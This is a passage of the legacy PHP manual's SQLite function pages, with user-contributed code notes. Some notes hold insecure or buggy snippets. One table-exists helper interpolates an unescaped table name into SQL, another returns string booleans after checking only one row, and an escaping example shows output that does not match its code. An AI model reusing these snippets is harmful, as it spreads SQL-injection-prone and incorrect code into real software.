    // ask the database kindly what tables is has.
    $result = $db->query("SELECT name FROM sqlite_master WHERE type='table'");
    $tables = $result->fetchAll();
    // if there's no items in the array then our taget is not going to exists.
    if (count($tables) == 0) {
        return FALSE ;
    }
    // loop over the tables to see if there's a table we're looking for.
    foreach ($tables as $table) {
        if ($table['name'] == $mytable) {
            return(TRUE);
        }
    }
    // there was no such table, informe the user the bad news.
    return(FALSE);
}
?>
artooro at gmail dot com 21-Oct-2004 06:26
If you need to check if a table exists, you can use a function like this:
<?php
//Returns TRUE if table exists and FALSE otherwise
//  $mytable = table you want to check for

function sqlite_table_exists($mytable) {
$db = sqlite_open('mydb.sqlite', 0666, $sqliteerror);
    $query = sqlite_query($db, "SELECT name FROM sqlite_master WHERE type='table'");
    $tables = sqlite_fetch_array($query);
    if ($tables != '') {
        foreach ($tables as $table) {
            if ($table == $mytable) {
                return("TRUE");
            }
            else {
                return("FALSE");
            }
        }
    }
    else {
        return("FALSE");
    }
}
?>

A function like this could be used to create the table if it's not already created, etc.
j-pieper at NOSPAM dot web dot de 19-Oct-2004 03:18
If you want to create a table in your database which should have an integer primary key, you cannot declare the row like this:

id int(16) primary key
or
id integer(16) primary key

When you declare it like this it could be that the id isn't auto increment. You have to declare it like this:

id integer primary key
filip at filipdewaard dot com 09-Sep-2004 11:39
I've written a short article about the (lack of) use of SQLite in-memory databases: http://www.filipdewaard.com/21_SQLite_inmemory_databases.html . Hopefully it will help somebody out there ;)
philip 08-Aug-2004 02:59
SQLite tutorials:
 * http://www.zend.com/php5/articles/php5-sqlite.php
 * http://www.zend.com/php5/abs/php101-9.php
 * http://www.oreilly.com/catalog/upgradephp5/chapter/ch04.pdf
jon at jenseng dot com 20-Jul-2004 02:50
Since SQLite doesn't support ALTER TABLE statements or renaming tables, modifying an existing table is a bit cumbersome. You have to:

1. create a temporary table
2. copy the original table into the temporary table
3. delete the original
4. recreate the original with new column definitions
5. copy the contents back
6. delete the temporary table

As this is rather unwieldy, I've created a wrapper class that allows for ALTER TABLE queries and does the dirty work for you. It has integrated error handling to ensure that queries are completely valid and it allows for complex statements such as:

ALTER TABLE foo ADD bar VARCHAR(27), DROP bar2, CHANGE bar3 foobar INTEGER, ADD bar4 DATE

Documentation:
http://code.jenseng.com/db/

Source:
http://code.jenseng.com/db/sql.txt
david at acz dot org 14-Jul-2004 06:29
You can use the PECL SQLite extension as a static (built into the executable) PHP module with PHP 4.  Download the extension tarball and extract it.  Move it to ext/sqlite in the PHP source directory.  Delete configure and run buildconf.

Example below.  Change version numbers as appropriate:

$ tar -xzvf php-4.3.8.tar.gz
$ tar -xzvf SQLite-1.0.2.tgz
$ mv SQLite-1.0.2 php-4.3.8/ext/sqlite
$ cd php-4.3.8
$ rm configure
$ ./buildconf --force

If everything worked, then you should now be able to build PHP with SQLite support:

$ ./configure --help | grep sqlite
  --with-sqlite           Include sqlite support

I think this method will work for other PECL extensions.
13-May-2004 07:46
PHP5 compile time option --enable-sqlite-utf8

See the note about buggy utf-8 support http://uk.php.net/manual/en/function.sqlite-libencoding.php
csaba at alum dot mit dot edu 14-Apr-2004 08:16
If you want to get the list of all the columns in a table (and associated information), PRAGMA is helpful (see http://sqlite.org/lang.html#pragma for details):

if (!($db=@sqlite_open("delme.db",0666,$sqliteerror))) die("Can't open database");
@sqlite_query ($db, 'DROP TABLE foo;');
sqlite_query($db, "CREATE TABLE foo (bar INTEGER PRIMARY KEY, baz VARCHAR(5));");
$aTableStruct = sqlite_array_query($db, "PRAGMA table_info('foo');", SQLITE_ASSOC);
for ($i=0,$aNames=array();$i<sizeof($aTableStruct);++$i)
    $aNames[]=$aTableStruct[$i]['name'];
var_dump ($aNames);    // => ['bar', 'baz']

Note also that if you want to use more than one database in the same connection using "ATTACH DATABASE ..." then you should supply the complete database filename.

Csaba Gabor
cricket at djcricket dot com 31-Mar-2004 09:30
To elaborate on vpupkin at comcast dot net's post about the INSERT query problem, you will be unable to execute any manipulation queries (INSERT/UPDATE/DELETE/ect) on the SQLite database file unless the directory the SQLite database file resides in is writable by the webserver.

The reason for this is because SQLite needs to write a lock file to the hard drive. After a processes finishes writting, it deletes the lock file. Other processes check for the lock file before writting to the SQLite database file and if present, delay writting until the lock file is no longer present.
jlsalinas at spamsucks dot gmx dot net 13-Feb-2004 06:22
For those looking for a function similar to mysql_list_tables, here you have:

if (! function_exists ('sqlite_list_tables')) {
    function sqlite_list_tables (&$dblink) {
        $tables = array ();

        $sql = "SELECT name FROM sqlite_master WHERE (type = 'table')";
        if ($res = sqlite_query ($dblink, $sql)) {
            while (sqlite_has_more($res)) {
                $tables[] = sqlite_fetch_single($res);
            }
        }

        return $tables;
    }
}

And a related funtion, to test if a given table exists:

if (! function_exists ('sqlite_table_exists')) {
    function sqlite_table_exists (&$dblink, $table) {
        $sql = "SELECT count(name) FROM sqlite_master WHERE ((type = 'table') and (name = '$table'))";
        if ($res = sqlite_query ($dblink, $sql)) {
            return sqlite_fetch_single($res) > 0;
        } else {
            return false; // or throw exception
        }
    }
}

Of course it would be preferable to have these functions included in the library, to avoid potential changes internal to SQLite; but we'll have to stick to this method until then.
vpupkin at comcast dot net 30-Nov-2003 08:53
if you are going to send INSERT queries, you will need to make the folder, where you put your "file.db", writable by a web server user, otherwise you'll receive error message - "Unable to open database . . . ". File permissions are not enough (phpinfo - SQLite Lib 2.8.3)
Minots Estich <minots at D0X dot de> 21-Nov-2003 06:47
If you gone in trouble while/with installation of sqlite,
you can try the installation steps I've done at
RedHat9 with PHP4.3.4 and Apache 1.3.28
via the Linux shell:

# wget http://pecl.php.net/get/SQLite-1.0.tgz
# tar xzf SQLite-1.0.tgz
# cd sqlite
# export PHP_PREFIX="/usr"
# $PHP_PREFIX/bin/phpize
# ./configure
# make
# make install

After that add following to php.ini and restart Apache:

[sqlite]
extension="sqlite.so"
ng4rrjanbiah at rediffmail dot com 07-Nov-2003 07:19
Very nice MS PowerPoint presentation titled "SQLite and PHP" (author: Wez Furlong) can be downloaded at http://www.php.net/~wez/SQLite_and_PHP.ppt [134 KB]

HTH,
R. Rajesh Jeba Anbiah
Predefined Constants
sqlite_array_query
SQLite


Execute a query against a given database and returns an array

SQLite Functions
sqlite_busy_timeout
SQLite Functions
PHP Manual

sqlite_array_query

SQLiteDatabase::arrayQuery

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_array_query -- SQLiteDatabase::arrayQuery — Execute a query against a given database and returns an array

Description

array sqlite_array_query ( resource $dbhandle , string $query [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array sqlite_array_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteDatabase::arrayQuery ( string $query [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

sqlite_array_query() executes the given query and returns an array of the entire result set. It is similar to calling sqlite_query() and then sqlite_fetch_array() for each row in the result set. sqlite_array_query() is significantly faster than the aforementioned.

Tip

sqlite_array_query() is best suited to queries returning 45 rows or less. If you have more data than that, it is recommended that you write your scripts to use sqlite_unbuffered_query() instead for more optimal performance.

Parameters

query

The query to be executed.

Data inside the query should be properly escaped.

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

Returns an array of the entire result set; FALSE otherwise.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

Examples

Example #1 Procedural style

<?php
$dbhandle = sqlite_open('sqlitedb');
$result = sqlite_array_query($dbhandle, 'SELECT name, email FROM users LIMIT 25', SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

Example #2 Object-oriented style

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');
$result = $dbhandle->arrayQuery('SELECT name, email FROM users LIMIT 25', SQLITE_ASSOC);
foreach ($result as $entry) {
    echo 'Name: ' . $entry['name'] . '  E-mail: ' . $entry['email'];
}
?>

See Also

  • sqlite_query() - Executes a query against a given database and returns a result handle
  • sqlite_fetch_array() - Fetches the next row from a result set as an array
  • sqlite_fetch_string() - Alias of sqlite_fetch_single

User Contributed Notes

kendlj at NOSPAM dot web dot de 18-Apr-2005 04:21
Do not use this code, whenever you may get no result:

<?
$return_data=@sqlite_array_query($query,$databaseHandle);
if(!$return_data)
{
   //Errorhandling code
   die( sqlite_error_string( sqlite_last_error($this->databaseHandle) ) );
}
?>

It will execute the Errorhandling code although there is no error, cause if there is nothing found, sqlite_array_query returns an empty array, which is interpreted as 'false' here.
You will get an Message like:
'not an error'

Instead use:

<?
$return_data=@sqlite_array_query($query,$databaseHandle);
if($return_data===false)
{
   //Errorhandling code
}
?>
SQLite Functions
sqlite_busy_timeout
SQLite Functions


Set busy timeout duration, or disable busy handlers

sqlite_array_query
sqlite_changes
SQLite Functions
PHP Manual

sqlite_busy_timeout

SQLiteDatabase::busyTimeout

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_busy_timeout -- SQLiteDatabase::busyTimeout — Set busy timeout duration, or disable busy handlers

Description

void sqlite_busy_timeout ( resource $dbhandle , int $milliseconds )

Object oriented style (method):

void SQLiteDatabase::busyTimeout ( int $milliseconds )

Set the maximum time, in milliseconds, that SQLite will wait for a dbhandle to become ready for use.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

milliseconds

The number of milliseconds. When set to 0, busy handlers will be disabled and SQLite will return immediately with a SQLITE_BUSY status code if another process/thread has the database locked for an update.

PHP sets the default busy timeout to be 60 seconds when the database is opened.

Note:

There are one thousand (1000) milliseconds in one second.

Return Values

No value is returned.

Examples

Example #1 Procedural style

<?php
$dbhandle = sqlite_open('sqlitedb');
sqlite_busy_timeout($dbhandle, 10000); // set timeout to 10 seconds
sqlite_busy_timeout($dbhandle, 0); // disable busy handler
?>

Example #2 Object oriented style

<?php
$dbhandle = new SQLiteDatabase('sqlitedb');
$dbhandle->busyTimeout(10000); // 10 seconds
$dbhandle->busyTimeout(0); // disable
?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist

User Contributed Notes

php at cdauth dot de 06-Apr-2007 10:46
The PDO equivalent of this function would be PDO::setAttribute(PDO::ATTR_TIMEOUT);
sqlite_array_query
sqlite_changes
SQLite Functions


Returns the number of rows that were changed by the most recent SQL statement

sqlite_busy_timeout
sqlite_close
SQLite Functions
PHP Manual

sqlite_changes

SQLiteDatabase::changes

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_changes -- SQLiteDatabase::changes — Returns the number of rows that were changed by the most recent SQL statement

Description

int sqlite_changes ( resource $dbhandle )

Object oriented style (method):

int SQLiteDatabase::changes ( void )

Returns the numbers of rows that were changed by the most recent SQL statement executed against the dbhandle database handle.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

Return Values

Returns the number of changed rows.

Examples

Example #1 Procedural style

<?php
$dbhandle = sqlite_open('mysqlitedb');
$query = sqlite_query($dbhandle, "UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'");
if (!$query) {
    exit('Error in query.');
} else {
    echo 'Number of rows modified: ', sqlite_changes($dbhandle);
}
?>

Example #2 Object oriented style

<?php
$dbhandle = new SQLiteDatabase('mysqlitedb');
$query = $dbhandle->query("UPDATE users SET email='jDoe@example.com' WHERE username='jDoe'");
if (!$query) {
    exit('Error in query.');
} else {
    echo 'Number of rows modified: ', $dbhandle->changes();
}
?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist

User Contributed Notes

jazz at funkynerd dot com 31-Mar-2010 09:06
When executing DELETEs, I found that adding an always true WHERE clause returns the number of rows deleted.

eg:  "DELETE FROM my_table WHERE 1"  will delete all the rows and sqlite_changes() will return the correct number of rows deleted.
bermi ferrer:at-akelos dotCom 28-Sep-2005 06:02
When counting deleted records from the database, I realized that sqlite_changes() will return 0 if you are deleting all the records without including a WHERE clause.

So after "DELETE FROM users" sqlite_open() will print 0 even if rows where deleted, but if you use "DELETE FROM users WHERE 1" you will get the right result.

I had this problem on versions 5.0.4 and 4.4.0 under Windows servers.
sqlite_busy_timeout
sqlite_close
SQLite Functions


Closes an open SQLite database

sqlite_changes
sqlite_column
SQLite Functions
PHP Manual

sqlite_close

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_close — Closes an open SQLite database

Description

void sqlite_close ( resource $dbhandle )

Closes the given db_handle database handle. If the database was persistent, it will be closed and removed from the persistent list.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally.

Return Values

No value is returned.

Examples

Example #1 sqlite_close() example

<?php
$dbhandle = sqlite_open('sqlitedb');
sqlite_close($dbhandle);
?>

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist
  • sqlite_popen() - Opens a persistent handle to an SQLite database and create the database if it does not exist

User Contributed Notes

There are no user contributed notes for this page.
sqlite_changes
sqlite_column
SQLite Functions


Fetches a column from the current row of a result set

sqlite_close
sqlite_create_aggregate
SQLite Functions
PHP Manual

sqlite_column

SQLiteResult::column

SQLiteUnbuffered::column

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_column -- SQLiteResult::column -- SQLiteUnbuffered::column — Fetches a column from the current row of a result set

Description

mixed sqlite_column ( resource $result , mixed $index_or_name [, bool $decode_binary = true ] )
mixed SQLiteResult::column ( mixed $index_or_name [, bool $decode_binary = true ] )
mixed SQLiteUnbuffered::column ( mixed $index_or_name [, bool $decode_binary = true ] )

Fetches the value of a column named index_or_name (if it is a string), or of the ordinal column numbered index_or_name (if it is an integer) from the current row of the query result handle result.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

index_or_name

The column index or name to fetch.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns the column value.

Notes

Note:

Use this function when you are iterating a large result set with many columns, or with columns that contain large amounts of data.

See Also

  • sqlite_fetch_string() - Alias of sqlite_fetch_single

User Contributed Notes

There are no user contributed notes for this page.
sqlite_close
sqlite_create_aggregate
SQLite Functions


Register an aggregating UDF for use in SQL statements

sqlite_column
sqlite_create_function
SQLite Functions
PHP Manual

sqlite_create_aggregate

SQLiteDatabase::createAggregate

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_create_aggregate -- SQLiteDatabase::createAggregate — Register an aggregating UDF for use in SQL statements

Description

void sqlite_create_aggregate ( resource $dbhandle , string $function_name , callback $step_func , callback $finalize_func [, int $num_args = -1 ] )

Object oriented style (method):

void SQLiteDatabase::createAggregate ( string $function_name , callback $step_func , callback $finalize_func [, int $num_args = -1 ] )

sqlite_create_aggregate() is similar to sqlite_create_function() except that it registers functions that can be used to calculate a result aggregated across all the rows of a query.

The key difference between this function and sqlite_create_function() is that two functions are required to manage the aggregate; step_func is called for each row of the result set. Your PHP function should accumulate the result and store it into the aggregation context. Once all the rows have been processed, finalize_func will be called and it should then take the data from the aggregation context and return the result. Callback functions should return a type understood by SQLite (i.e. scalar type).

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

function_name

The name of the function used in SQL statements.

step_func

Callback function called for each row of the result set. Function parameters are &$context, $value, ....

finalize_func

Callback function to aggregate the "stepped" data from each row. Function parameter is &$context and the function should return the final result of aggregation.

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Return Values

No value is returned.

Examples

Example #1 max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$dbhandle = sqlite_open(':memory:');
sqlite_query($dbhandle, "CREATE TABLE strings(a)");
foreach ($data as $str) {
    $str = sqlite_escape_string($str);
    sqlite_query($dbhandle, "INSERT INTO strings VALUES ('$str')");
}

function max_len_step(&$context, $string)
{
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

sqlite_create_aggregate($dbhandle, 'max_len', 'max_len_step', 'max_len_finalize');

var_dump(sqlite_array_query($dbhandle, 'SELECT max_len(a) from strings'));

?>

In this example, we are creating an aggregating function that will calculate the length of the longest string in one of the columns of the table. For each row, the max_len_step function is called and passed a context parameter. The context parameter is just like any other PHP variable and be set to hold an array or even an object value. In this example, we are simply using it to hold the maximum length we have seen so far; if the string has a length longer than the current maximum, we update the context to hold this new maximum length.

After all of the rows have been processed, SQLite calls the max_len_finalize function to determine the aggregate result. Here, we could perform some kind of calculation based on the data found in the context. In our simple example though, we have been calculating the result as the query progressed, so we simply need to return the context value.

Note:

The example above will not work correctly if the column contains binary data. Take a look at the manual page for sqlite_udf_decode_binary() for an explanation of why this is so, and an example of how to make it respect the binary encoding.

Tip

It is NOT recommended for you to store a copy of the values in the context and then process them at the end, as you would cause SQLite to use a lot of memory to process the query - just think of how much memory you would need if a million rows were stored in memory, each containing a string 32 bytes in length.

Tip

You can use sqlite_create_function() and sqlite_create_aggregate() to override SQLite native SQL functions.

See Also

  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_udf_encode_binary() - Encode binary data before returning it from an UDF
  • sqlite_udf_decode_binary() - Decode binary data passed as parameters to an UDF

User Contributed Notes

There are no user contributed notes for this page.
sqlite_column
sqlite_create_function
SQLite Functions


Registers a "regular" User Defined Function for use in SQL statements

sqlite_create_aggregate
sqlite_current
SQLite Functions
PHP Manual

sqlite_create_function

SQLiteDatabase::createFunction

(PHP 5, sqlite >= 1.0.0)

sqlite_create_function -- SQLiteDatabase::createFunction — Registers a "regular" User Defined Function for use in SQL statements

Description

void sqlite_create_function ( resource $dbhandle , string $function_name , callback $callback [, int $num_args = -1 ] )

Object oriented style (method):

void SQLiteDatabase::createFunction ( string $function_name , callback $callback [, int $num_args = -1 ] )

sqlite_create_function() allows you to register a PHP function with SQLite as an UDF (User Defined Function), so that it can be called from within your SQL statements.

The UDF can be used in any SQL statement that can call functions, such as SELECT and UPDATE statements and also in triggers.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

function_name

The name of the function used in SQL statements.

callback

Callback function to handle the defined SQL function.

Note: Callback functions should return a type understood by SQLite (i.e. scalar type).

num_args

Hint to the SQLite parser if the callback function accepts a predetermined number of arguments.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

No value is returned.

Examples

Example #1 sqlite_create_function() example

<?php
function md5_and_reverse($string)
{
    return strrev(md5($string));
}

if ($dbhandle = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {

    sqlite_create_function($dbhandle, 'md5rev', 'md5_and_reverse', 1);

    $sql  = 'SELECT md5rev(filename) FROM files';
    $rows = sqlite_array_query($dbhandle, $sql);
} else {
    echo 'Error opening sqlite db: ' . $sqliteerror;
    exit;
}
?>

In this example, we have a function that calculates the md5 sum of a string, and then reverses it. When the SQL statement executes, it returns the value of the filename transformed by our function. The data returned in $rows contains the processed result.

The beauty of this technique is that you do not need to process the result using a foreach loop after you have queried for the data.

PHP registers a special function named php when the database is first opened. The php function can be used to call any PHP function without having to register it first.

Example #2 Example of using the PHP function

<?php
$rows = sqlite_array_query($dbhandle, "SELECT php('md5', filename) from files");
?>

This example will call the md5() on each filename column in the database and return the result into $rows

Note:

For performance reasons, PHP will not automatically encode/decode binary data passed to and from your UDF's. You need to manually encode/decode the parameters and return values if you need to process binary data in this way. Take a look at sqlite_udf_encode_binary() and sqlite_udf_decode_binary() for more details.

Tip

It is not recommended to use UDF's to handle processing of binary data, unless high performance is not a key requirement of your application.

Tip

You can use sqlite_create_function() and sqlite_create_aggregate() to override SQLite native SQL functions.

See Also

  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

Dodolidet 19-Jul-2011 10:44
Although you can create an UDF named 'regexp()', I think it won't be registered as REGEXP operator..

<?php
//registering REGEXP
function my_sqlite_regexp($x,$y){
    return (int)preg_match("`$y`i",$x);
}
echo $db->createFunction('regexp','my_sqlite_regexp',2);

//testing regexp as function, working
$res = $db->query("SELECT * FROM x WHERE regexp(c,'h')", SQLITE_ASSOC , $err) ;

//testing regexp as operator, not working, near "REGEXP": syntax error
$res = $db->query("SELECT * FROM x WHERE c REGEXP 'h'", SQLITE_ASSOC , $err);
?>

I'd also swapped the function parameters $x and $y, but also not works..
-----
From SQLite documentation:
"The REGEXP operator is a special syntax for the regexp() user function. No regexp() user function is defined by default and so use of the REGEXP operator will normally result in an error message. If a application-defined SQL function named "regexp" is added at run-time, that function will be called in order to implement the REGEXP operator."
Brett 20-May-2005 10:27
In my previous comment, there was an error in the code which was causing the issue.

Removing the surrounding quotes from from_unixtime()'s return value solved the issue, and so UDFs _do work_ from within DELETEs and INSERTs!  Yay!

<?php

// SQLite UDF
// Mimic MySQL FROM_UNIXTIME
function from_unixtime($unixtime)
{
    return date('Y-m-d H:i:s', $unixtime);  // no surrouding quotes
}

?>
Brett 20-May-2005 09:44
It appears that UDFs created by sqlite_create_function() do not work properly within INSERT or DELETE statements.

A simplified INSERT example:

<?php

// SQLite UDF
// Mimic MySQL FROM_UNIXTIME function
function from_unixtime($unixtime)
{
    return "'".date('Y-m-d H:i:s', $unixtime)."'";
}

// -----------------------------------------------------------

// Open the database and create the UDF
$handle = sqlite_open('db.sqlite', 0666);
sqlite_create_function($handle, 'FROM_UNIXTIME', 'from_unixtime', 1);

// Insert a row
$sql = "
    INSERT INTO table (name, timestamp)
    VALUES ('Foo', FROM_UNIXTIME(".time().");
    ";

$result = sqlite_exec($handle, $sql);

// Retrieve the row
$sql     = "SELECT * FROM table";
$result = sqlite_unbuffered_query($handle, $sql)
$row    = sqlite_fetch_all($result, SQLITE_ASSOC);

// Dump
print_r($row);

?>

This will show:

Array
(
    [0] => Array
        (
            [name] => 'Foo'
            [timestamp] => -1
        )
)

The expected result for timestamp would be something like '2005-05-20 10:00:00'
info at myphp dot it 28-Dec-2004 01:52
The function can be a method of a class:

<?php

class sqlite_function {

    function md5($value)
    {
        return md5($value);
    }

}

$dbhandle = sqlite_open('SQLiteDB');

sqlite_create_function($dbhandle, 'md5', array('sqlite_function', 'md5'), 1);

// From now on, you can use md5 function inside your SQL statements

?>

It works fine :)
sqlite_create_aggregate
sqlite_current
SQLite Functions


Fetches the current row from a result set as an array

sqlite_create_function
sqlite_error_string
SQLite Functions
PHP Manual

sqlite_current

SQLiteResult::current

SQLiteUnbuffered::current

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_current -- SQLiteResult::current -- SQLiteUnbuffered::current — Fetches the current row from a result set as an array

Description

array sqlite_current ( resource $result [, int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

Object oriented style (method):

array SQLiteResult::current ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )
array SQLiteUnbuffered::current ([ int $result_type = SQLITE_BOTH [, bool $decode_binary = true ]] )

sqlite_current() is identical to sqlite_fetch_array() except that it does not advance to the next row prior to returning the data; it returns the data from the current position only.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

decode_binary

When the decode_binary parameter is set to TRUE (the default), PHP will decode the binary encoding it applied to the data if it was encoded using the sqlite_escape_string(). You should normally leave this value at its default, unless you are interoperating with databases created by other sqlite capable applications.

Return Values

Returns an array of the current row from a result set; FALSE if the current position is beyond the final row.

The column names returned by SQLITE_ASSOC and SQLITE_BOTH will be case-folded according to the value of the sqlite.assoc_case configuration option.

See Also

  • sqlite_seek() - Seek to a particular row number of a buffered result set
  • sqlite_next() - Seek to the next row number
  • sqlite_fetch_array() - Fetches the next row from a result set as an array

User Contributed Notes

There are no user contributed notes for this page.
sqlite_create_function
sqlite_error_string
SQLite Functions


Returns the textual description of an error code

sqlite_current
sqlite_escape_string
SQLite Functions
PHP Manual

sqlite_error_string

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_error_string — Returns the textual description of an error code

Description

string sqlite_error_string ( int $error_code )

Returns a human readable description of the error_code returned from sqlite_last_error().

Parameters

error_code

The error code being used, which might be passed in from sqlite_last_error().

Return Values

Returns a human readable description of the error_code, as a string.

See Also

  • sqlite_last_error() - Returns the error code of the last error for a database

User Contributed Notes

There are no user contributed notes for this page.
sqlite_current
sqlite_escape_string
SQLite Functions


Escapes a string for use as a query parameter

sqlite_error_string
sqlite_exec
SQLite Functions
PHP Manual

sqlite_escape_string

(PHP 5, PECL sqlite >= 1.0.0)

sqlite_escape_string — Escapes a string for use as a query parameter

Description

string sqlite_escape_string ( string $item )

sqlite_escape_string() will correctly quote the string specified by item for use in an SQLite SQL statement. This includes doubling up single-quote characters (') and checking for binary-unsafe characters in the query string.

Although the encoding makes it safe to insert the data, it will render simple text comparisons and LIKE clauses in your queries unusable for the columns that contain the binary data. In practice, this shouldn't be a problem, as your schema should be such that you don't use such things on binary columns (in fact, it might be better to store binary data using other means, such as in files).

Parameters

item

The string being quoted.

If the item contains a NUL character, or if it begins with a character whose ordinal value is 0x01, PHP will apply a binary encoding scheme so that you can safely store and retrieve binary data.

Return Values

Returns an escaped string for use in an SQLite SQL statement.

Notes

Note:

    Do not use this function to encode the return values from UDF's created
    using sqlite_create_function() or
    sqlite_create_aggregate() - use
    sqlite_udf_encode_binary() instead.

Warning

addslashes() should NOT be used to quote your strings for SQLite queries; it will lead to strange results when retrieving your data.

See Also

  • sqlite_udf_encode_binary() - Encode binary data before returning it from an UDF

User Contributed Notes

jwzumwalt at neatinfo dot com 10-Dec-2011 10:29
sqlite_escape_string() does not catch all HTML characters that may
conflict with a browser display. Notice the difference with the
custom routine below

<?php
# php lib command
$str = "Advoid! /slashes\, 'single' and these <too>";
$str = sqlite_escape_string($str);
echo "<br>$str<br>";

# custom function
$str = "Advoid! /slashes\, 'single' and these <too>";
$str = clean($str);
echo "<br>$str<br>";

function clean($str) {
  $search  = array('&'    , '"'     , "'"    , '<'   , '>'    );
  $replace = array('&amp;', '&quot;', '&#39;', '&lt;', '&gt;' );

  $str = str_replace($search, $replace, $str);
  return $str;
}
?>

Output:
Advoid! /slashes\, "single" and these
Advoid! /slashes\, 'single' and these <too>
carlo_greco at live dot it 12-Dec-2009 09:06
You can try this (it works with strings and arrays):

<?php
// oop

class sqlite extends SQLiteDatabase {
    public function escape($data) {
        if(is_array($data))
            return array_map("sqlite_escape_string", $data);

        return sqlite_escape_string($data);
    }
}

$db = new sqlite("dbname");
$values = array("hell'o", "he'y");
$values = $db->escape($values); // returns array("hell''o", "hey''y")

// procedural

function sqlite_myescape($data) {
    if(is_array($data))
        return array_map("sqlite_escape_string", $data);

    return sqlite_escape_string($data);
}

$values = array("hell'o", "he'y");
$values = sqlite_myescape($values); // returns array("hell''o", "hey''y")
?>
soletan at toxa dot de 29-Mar-2005 04:19
@minots: simplify what you are doing:

<?php

function sqlite_escape_array( &$arr ) {

  $invalid = array( 'argv', 'argc' );

  foreach ( $arr as $key => $val )
     if ( ( strtoupper( $key ) != $key ) && !is_numeric( $key ) && !in_array( $key, $invalid ) ) {
       if ( is_string( $val ) )
           $arr[$key] = sqlite_escape_string( $val );
       else if ( is_array( $val ) )
           sqlite_escape_array( $arr[$key] );
     }

  return $arr;
}

?>

I'm not sure if the condition is equivalent to yours, but this excludes any numeric key, any completely uppercase'd keys and some selected (argc and argv) special keys. In case of never passing $GLOBALS or $_SERVER as argument one might shorten everything to this as a "pipelined" version:

<?php

function sqlite_escape_array( $arr ) {

  foreach ( $arr as $key => $val )

    if ( is_string( $val ) )
      $arr[$key] = sqlite_escape_string( $val );

    else if ( is_array( $val ) )
      $arr[$key] = sqlite_escape_array( $val );

  return $arr;

}

?>

PHP's syntax is more powerful than those of many other languages, even when it's supporting their one's as well.
Minots Estichá <minots at D0X dot de> 29-Mar-2004 01:03
sometimes i you have to escape an array instead of a string.
my function to do it works like:
array sqlite_escape_array ( &array string)

<?php
function sqlite_escape_array(&$arr)
{
  while ( list($key, $val) = each($arr) ):
    if ( (strtoupper($key)!=$key OR "".intval($key) == "$key") && $key!="argc" and $key!="argv"):
        if (is_string($val)):
            $arr[$key]=sqlite_escape_string($val);
        endif;
        if (is_array($val)):
            $arr[$key]=sqlite_escape_array($val);
        endif;
    endif;
  endwhile;
  return $arr;
}
?>
sqlite_error_string
sqlite_exec
SQLite Functions


Executes a result-less query against a given database

sqlite_escape_string
sqlite_factory
SQLite Functions
PHP Manual

sqlite_exec

SQLiteDatabase::exec

(PHP 5, PECL sqlite >= 1.0.3)

sqlite_exec -- SQLiteDatabase::exec — Executes a result-less query against a given database

Description

bool sqlite_exec ( resource $dbhandle , string $query [, string &$error_msg ] )
bool sqlite_exec ( string $query , resource $dbhandle )

Object oriented style (method):

